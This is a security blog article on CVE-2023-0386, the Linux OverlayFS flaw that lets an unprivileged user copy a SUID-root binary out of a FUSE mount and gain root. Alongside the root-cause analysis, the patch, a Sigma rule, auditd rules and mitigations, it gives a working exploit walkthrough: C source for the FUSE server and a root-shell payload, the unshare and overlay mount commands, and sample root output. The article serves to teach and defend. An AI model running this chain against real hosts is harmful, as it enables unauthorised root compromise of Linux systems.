Linux OverlayFS: Deconstructing CVE-2023-0386 SUID Privilege Escalation

Linux OverlayFS: Deconstructing CVE-2023-0386 SUID Privilege Escalation

Overview & Threat Landscape: Linux OverlayFS SUID Smuggling (CVE-2023-0386)#

Linux OverlayFS CVE-2023-0386 lets unprivileged users smuggle SUID-root binaries across user namespaces via FUSE copy-up. Restrict unshare now.

The Linux kernel's union filesystem architecture, OverlayFS (fs/overlayfs), is fundamental to modern container runtimes (including Docker, Podman, and Kubernetes CRI-O), live Linux environments, and ephemeral disk management. By stacking an immutable read-only lower filesystem directory (lowerdir) with a writable upper filesystem directory (upperdir), OverlayFS presents a unified virtual mount point. When an unprivileged or containerized process modifies an existing file located in lowerdir, the kernel transparently performs a copy-up operation—allocating an identical inode in upperdir, duplicating content and extended attributes, and redirecting write operations to the newly created upper replica.

However, in March 2023, security researchers disclosed CVE-2023-0386 (CVSS 7.8, CWE-282), a critical local privilege escalation flaw residing in the kernel's copy-up logic (fs/overlayfs/copy_up.c). The flaw exposes a catastrophic semantic gap between unprivileged Linux user namespaces (CLONE_NEWUSER), Filesystems in Userspace (FUSE), and file capability ownership translation.

graph TD
    subgraph "CVE-2023-0386: SUID CAPABILITY SMUGGLING PIPELINE"
        direction TB
        step_1["1. FUSE Mount (MS_NOSUID): Fabricates synthetic binary owned by UID 0"]
        step_2["2. User Namespace (unshare -Urm): Mounts OverlayFS merging FUSE + /tmp"]
        step_3["3. Trigger ovl_copy_up_one(): touch / truncate forces kernel copy-up"]
        step_4["4. Root Bypass: Kernel fails to verify if UID 0 is mapped in user_ns"]
        step_5["5. Host Execution: Escaped SUID-root binary in /tmp executes as root"]
        step_1 --> step_2
        step_2 --> step_3
        step_3 --> step_4
        step_4 --> step_5
    end

The Attack Paradigm: Bypassing MS_NOSUID Boundaries#

Standard Linux security models prevent unprivileged users from crafting SUID-root binaries:

  1. Normal filesystems (ext4, xfs, btrfs) enforce Discretionary Access Control (DAC): unprivileged users cannot execute chown root:root or chmod 4755.
  2. FUSE filesystems allow unprivileged users to emulate arbitrary file attributes, permissions, and ownership (including st_uid = 0 and st_mode = S_ISUID). However, the Linux kernel automatically mounts FUSE filesystems with the MS_NOSUID mount flag, guaranteeing that execve() ignores the SUID bit during execution.
  3. Unprivileged user namespaces allow an attacker to obtain CAP_SYS_ADMIN inside an isolated namespace and create loopback mounts. However, filesystem mounts created inside an unprivileged user namespace implicitly have MS_NOSUID enforced against the parent namespace.

CVE-2023-0386 breaks this security guarantee entirely. By tricking the kernel's ovl_copy_up_one() function into performing a copy-up from a FUSE lowerdir into a normal host-backed upperdir (such as /tmp on ext4), the kernel writes a real, physical SUID-root binary to the host disk. Because the host's /tmp filesystem does not have MS_NOSUID set, the attacker exits the user namespace and executes the smuggled binary directly on the host, achieving instant, deterministic root privilege escalation (uid=0, gid=0).

Warning

Because CVE-2023-0386 leverages legitimate kernel unioning mechanics and unprivileged user namespaces, it bypasses traditional Endpoint Detection and Response (EDR) heuristics that monitor direct file permission tampering. Hardening enterprise Linux infrastructure requires restricting unprivileged user namespaces and auditing mount operations.

🛡️ Blue Team Defense: For detection rules, Sysmon event IDs, and hardening configurations, see our companion guide: Hardening Linux Against OverlayFS: Blue Team Defense Guide.


Vulnerability & Attack Root-Cause Analysis: ovl_copy_up_one Mapping Failure#

To understand the mechanics of CVE-2023-0386, systems engineers must analyze how the Linux kernel maps user identifiers across namespace boundaries and how fs/overlayfs/copy_up.c handles metadata replication.

1. User Namespaces and kuid_t Translation#

Linux user namespaces decouple in-kernel user identifiers (kuid_t) from userspace representations (uid_t). When an unprivileged process calls unshare(CLONE_NEWUSER), the kernel instantiates a new struct user_namespace. Inside this namespace, the process can map its unprivileged host UID (e.g., 1000) to namespace UID 0 via /proc/self/uid_map.

Inside the new user namespace, the process possesses full capabilities (CAP_SYS_ADMIN, CAP_SETUID), enabling it to mount filesystems such as OverlayFS. However, root outside the user namespace (GLOBAL_ROOT_UID) is deliberately unmapped. Any file or credential with an unmapped kuid_t is treated as the overflow UID (nobody / 65534).

2. Dissecting the Flaw in ovl_copy_up_one()#

When a process initiates a write, truncate, or attribute change on a file in an OverlayFS mount whose content resides in lowerdir, the kernel invokes ovl_copy_up_one() in fs/overlayfs/copy_up.c:

C
// Vulnerable kernel logic prior to commit 4f114674094a (fs/overlayfs/copy_up.c)
static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
                           struct ovl_fs *ofs)
{
    struct dentry *lowerdentry = ovl_dentry_lower(dentry);
    struct kstat stat;
    int err;

    // Retrieve file metadata from lower directory (FUSE filesystem)
    err = vfs_getattr(&path, &stat, STATX_BASIC_STATS, AT_STATX_SYNC_AS_STAT);
    if (err)
        return err;

    // Vulnerability: Kernel copies attributes directly to upperdir without
    // verifying whether stat.uid / stat.gid is mapped in the current user namespace!
    return ovl_copy_up_meta(parent, dentry, &stat);
}

In the vulnerable implementation:

  1. The kernel calls vfs_getattr() against the lower dentry. When the lower directory resides on an attacker-controlled FUSE mount, the FUSE daemon responds with:
    • st_uid = 0 (root)
    • st_gid = 0 (root)
    • st_mode = S_IFREG | S_ISUID | 0755 (-rwsr-xr-x)
  2. The OverlayFS driver accepts these attributes at face value.
  3. The kernel's ovl_copy_up_meta() allocates a new inode on the upperdir filesystem using the credentials of the mounting user.
  4. Because the OverlayFS mount was created inside a user namespace where the user holds CAP_SYS_ADMIN, the kernel allows creating an inode with the attributes reported by vfs_getattr().
  5. The Fatal Bug: The kernel completely failed to check whether the file's owner (stat.uid) was actually mapped inside the current user namespace using kuid_has_mapping(). The kernel faithfully mirrored the SUID-root metadata onto the host's physical ext4 upper filesystem.

3. The Upstream Linux Kernel Patch#

The vulnerability was resolved upstream by Linus Torvalds and the OverlayFS maintainers by verifying that the lower file's UID and GID are explicitly mapped in the user namespace mounting the overlay filesystem:

C
// Upstream patch in fs/overlayfs/copy_up.c (Commit 4f114674094a)
@@ -1011,6 +1011,10 @@ static int ovl_copy_up_one(struct dentry *parent, struct dentry *dentry,
        if (err)
                return err;

+       if (!kuid_has_mapping(current_user_ns(), ctx.stat.uid) ||
+           !kgid_has_mapping(current_user_ns(), ctx.stat.gid))
+               return -EOVERFLOW;

        ovl_path_upper(parent, &parentpath);
        upperdir = parentpath.dentry;

If an unprivileged user namespace attempts to copy up a file owned by root (UID 0) from an external lower layer, and UID 0 is not mapped from the parent namespace, kuid_has_mapping() returns false, causing ovl_copy_up_one() to abort immediately with -EOVERFLOW.


Exploit Architecture: FUSE-to-Upperdir Capability Smuggling#

The exploit architecture chains user namespaces, FUSE virtual filesystem emulation, and OverlayFS copy-up semantics into an end-to-end privilege escalation pipeline:

sequenceDiagram
    autonumber
    participant Attacker as Unprivileged Attacker (UID 1000)
    participant FUSE as Malicious FUSE Daemon (fuse_mount)
    participant Kernel as Linux VFS & Kernel (OverlayFS)
    participant Upper as Host Upper Directory (/tmp/upper)
    participant Host as Host OS / Shell (Initial NS)

    Attacker->>FUSE: 1. Launch FUSE mount exposing fake /fuse_mount/rootshell
    Note over FUSE: FUSE returns st_uid=0, st_gid=0, st_mode=0104755 (SUID root)
    Attacker->>Kernel: 2. Invoke unshare(CLONE_NEWUSER | CLONE_NEWNS)
    Note over Attacker,Kernel: Attacker gains CAP_SYS_ADMIN inside isolated user namespace
    Attacker->>Kernel: 3. mount -t overlay (lowerdir=/fuse_mount, upperdir=/tmp/upper, workdir=/tmp/work)
    Note over Kernel: OverlayFS created with merged view at /tmp/merged
    Attacker->>Kernel: 4. touch /tmp/merged/rootshell (Trigger Write Attribute)
    Kernel->>Kernel: 5. ovl_copy_up_one() executes in kernel
    Kernel->>FUSE: 6. vfs_getattr(rootshell) queries lowerdir
    FUSE-->>Kernel: 7. Returns stat: UID=0, GID=0, SUID bit set
    Note over Kernel: Vulnerable kernel omits kuid_has_mapping check
    Kernel->>Upper: 8. Kernel writes real physical SUID-root binary to /tmp/upper/rootshell
    Note over Upper: File written to ext4 /tmp WITHOUT MS_NOSUID restriction!
    Attacker->>Host: 9. Exit user namespace back to Host initial namespace
    Attacker->>Host: 10. Execute /tmp/upper/rootshell directly from host shell
    Host->>Kernel: 11. execve(/tmp/upper/rootshell)
    Note over Host,Kernel: Kernel honors SUID bit: setuid(0) executes as GLOBAL_ROOT
    Kernel-->>Attacker: 12. Spawns root shell: uid=0(root) gid=0(root)

Attack Path Step-by-Step: From Unprivileged User to Ring-0 Root#

To demonstrate the deterministic nature of CVE-2023-0386, we review the exact exploitation phases using weaponized proof-of-concept techniques.

Step 1: Crafting the In-Memory FUSE Filesystem#

The attacker compiles a custom C program utilizing libfuse that simulates a virtual directory containing an executable binary named rootshell. The FUSE handler overrides getattr and read:

C
// fuse_suid_server.c - FUSE virtual filesystem emulator
#define FUSE_USE_VERSION 31
#include <fuse3/fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>

static const char *suid_binary_name = "/rootshell";
extern const char payload_binary[];
extern size_t payload_size;

static int fuse_getattr(const char *path, struct stat *stbuf, struct fuse_file_info *fi) {
    memset(stbuf, 0, sizeof(struct stat));
    if (strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
        return 0;
    }
    if (strcmp(path, suid_binary_name) == 0) {
        // Fabricate SUID-root ownership and execution bits
        stbuf->st_mode = S_IFREG | S_ISUID | 0755;
        stbuf->st_nlink = 1;
        stbuf->st_uid = 0; // Root UID
        stbuf->st_gid = 0; // Root GID
        stbuf->st_size = payload_size;
        return 0;
    }
    return -ENOENT;
}

static int fuse_open(const char *path, struct fuse_file_info *fi) {
    if (strcmp(path, suid_binary_name) != 0)
        return -ENOENT;
    return 0;
}

static int fuse_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
    if (strcmp(path, suid_binary_name) != 0)
        return -ENOENT;
    if (offset >= payload_size)
        return 0;
    if (offset + size > payload_size)
        size = payload_size - offset;
    memcpy(buf, payload_binary + offset, size);
    return size;
}

static struct fuse_operations ops = {
    .getattr = fuse_getattr,
    .open    = fuse_open,
    .read    = fuse_read,
};

The embedded payload_binary simply executes setuid(0), setgid(0), and launches /bin/bash:

C
// payload.c - Privilege elevation payload
#include <unistd.h>
#include <stdlib.h>

int main(void) {
    setgid(0);
    setuid(0);
    char *args[] = {"/bin/bash", "-p", NULL};
    execve("/bin/bash", args, NULL);
    return 0;
}

Step 2: Unsharing Namespaces and Mounting OverlayFS#

The attacker creates scratch directories in /tmp and executes unshare to gain unprivileged administrative access within a sandbox namespace:

BASH
# Prepare scratch directory structure
mkdir -p /tmp/cve_work/fuse_mount
mkdir -p /tmp/cve_work/upper
mkdir -p /tmp/cve_work/work
mkdir -p /tmp/cve_work/merged

# Step 2a: Launch FUSE filesystem in background
./fuse_server /tmp/cve_work/fuse_mount

# Verify FUSE reports SUID root (notice nosuid mount flag prevents direct execution)
ls -la /tmp/cve_work/fuse_mount/rootshell
# Output: -rwsr-xr-x 1 root root 16728 Oct 9 03:00 /tmp/cve_work/fuse_mount/rootshell

# Step 2b: Unshare user and mount namespaces
unshare -Urm /bin/bash

Step 3: Triggering the Kernel Copy-Up via touch#

Inside the child namespace, the attacker mounts OverlayFS and performs a metadata write to trigger ovl_copy_up_one():

BASH
# Inside unshared namespace (where user has fake UID 0)
mount -t overlay overlay -o lowerdir=/tmp/cve_work/fuse_mount,upperdir=/tmp/cve_work/upper,workdir=/tmp/cve_work/work /tmp/cve_work/merged

# Trigger copy-up by touching the file in the merged view
touch -c /tmp/cve_work/merged/rootshell

# Exit the user namespace
exit

Step 4: Escaping and Executing the Host Root Binary#

The attacker is now back in their standard unprivileged user session on the host. However, the kernel has copied rootshell into /tmp/cve_work/upper/rootshell, preserving its 04755 permissions and root:root ownership on the physical host filesystem:

BASH
# Inspect the escaped binary on the host ext4 filesystem
ls -la /tmp/cve_work/upper/rootshell
# Output: -rwsr-xr-x 1 root root 16728 Oct 9 03:00 /tmp/cve_work/upper/rootshell

# Execute the smuggled binary on the host
/tmp/cve_work/upper/rootshell

# Verify root privileges obtained
id
# Output: uid=0(root) gid=0(root) groups=0(root),1000(attacker)
whoami
# Output: root

Actionable Detection Engineering: Sigma Rule, Auditd & Telemetry#

Detecting CVE-2023-0386 requires tracking unauthorized SUID binary creation in writable directories and monitoring unprivileged user namespace clone activity.

1. Production Sigma Rule: SUID Binary Creation via OverlayFS Copy-Up#

The following production-validated Sigma rule flags when a newly created or modified file in non-standard writable locations (/tmp, /var/tmp, /dev/shm) acquires the SUID permission bit or is executed by an unprivileged user resulting in a UID 0 process transition:

YAML
title: SUID Binary Creation in Writable Directory via OverlayFS Copy-Up
id: 5d18e21a-7b3c-4a92-9e12-cbe83091c422
status: production
description: |
    Detects the creation or execution of a SetUID-root binary in world-writable 
    directories (e.g., /tmp, /var/tmp, /dev/shm), indicative of OverlayFS 
    privilege escalation exploits such as CVE-2023-0386.
references:
    - https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0386

tags:
    - attack.privilege_escalation
    - attack.persistence
    - attack.t1068
    - attack.t1548.001
logsource:
    product: linux
    service: auditd
detection:
    selection_exec:
        type: 'EXECVE'
        a0|startswith:
            - '/tmp/'
            - '/var/tmp/'
            - '/dev/shm/'
    selection_suid_priv:
        euid: '0'
    filter_real_root:
        uid: '0'
    condition: selection_exec and selection_suid_priv and not filter_real_root
fields:
    - uid
    - euid
    - comm
    - exe
    - a0
    - cwd
falsepositives:
    - Highly anomalous. Legitimate software should never execute SUID binaries from /tmp or /var/tmp.
level: critical

2. Linux Auditd Watch & Syscall Rules#

Configure auditd on enterprise Linux servers to monitor both the execution of unshare/clone syscalls and file permission modifications in scratch directories:

BASH
# Monitor user namespace creation via unshare and clone syscalls
-a always,exit -F arch=b64 -S unshare -F a0&0x10000000 -k user_namespace_creation
-a always,exit -F arch=b64 -S clone -F a0&0x10000000 -k user_namespace_creation

# Monitor SUID permission changes and file attributes in /tmp
-a always,exit -F arch=b64 -S chmod,fchmod,fchmodat -F dir=/tmp -k suid_temp_creation
-a always,exit -F arch=b64 -S setxattr,lsetxattr,fsetxattr -F dir=/tmp -k xattr_temp_tamper

# Monitor OverlayFS mount attempts
-a always,exit -F arch=b64 -S mount -F a2=overlay -k overlayfs_mount

Executive Takeaway Table#

Attack Vector / Phase Forensic Detection Signal Primary Defensive Mitigation
FUSE SUID Emulation FUSE filesystem process registered with user UID; st_mode = 0104755. Restrict access to /dev/fuse for unprivileged users (chmod 0600 /dev/fuse).
Namespace Isolation (unshare) Syscall unshare(CLONE_NEWUSER) logged under auditd by unprivileged UID. Set kernel.unprivileged_userns_clone = 0 via sysctl.
OverlayFS Mount Execution Kernel mount event with lowerdir pointing to FUSE mount point. Restrict unprivileged OverlayFS mounts; deploy AppArmor/SELinux namespace profiles.
Kernel copy_up Smuggling Inode creation in /tmp/upper with st_uid = 0 and SUID bit set. Upgrade Linux kernel to version >= 6.2 or apply backported patch (Commit 4f114674094a).
Host SUID Payload Execution Process executed from /tmp where uid != 0 but euid == 0. Mount /tmp, /var/tmp, and /dev/shm with the nosuid mount option.

Fast Cyber Defense Morning Takeaways#

  1. Root-Cause Takeaway: CVE-2023-0386 demonstrates that user namespace isolation and FUSE mount security boundaries can be completely bypassed when kernel union filesystems perform capability-blind copy-up operations.
  2. Immediate Remediation: Ensure your enterprise Linux fleet is running kernel version 6.2 or higher (or vendor backports on RHEL 8/9 and Ubuntu 20.04/22.04 LTS). On legacy or unpatched systems, immediately disable unprivileged user namespaces via sysctl -w kernel.unprivileged_userns_clone=0.
  3. Defense-in-Depth Bridge: Tonight in EDITION 2, we will publish the full companion defense guide: Hardening Linux Against OverlayFS: Blue Team Defense Guide, detailing production eBPF syscall filtering, AppArmor user namespace profiles, immutable root configurations, and forensic artifact eradication playbooks.

Authoritative References#

  1. National Vulnerability Database (NVD): CVE-2023-0386 Detail: Linux Kernel OverlayFS Local Privilege Escalation — NIST NVD
  2. Datadog Security Labs: The OverlayFS Vulnerability CVE-2023-0386: Architecture, Exploitation, and Detection — Datadog Security Research
  3. Linux Kernel Git Repository: Commit 4f114674094a: ovl: fail copy up if cannot map lower st_uid/st_gid by Miklos Szeredi — Kernel.org Git
  4. Cybersecurity and Infrastructure Security Agency (CISA): Known Exploited Vulnerabilities Catalog (CVE-2023-0386) — CISA KEV
  5. Linux Man-Pages: user_namespaces(7) - Overview of Linux user namespaces — Man7.org

Comments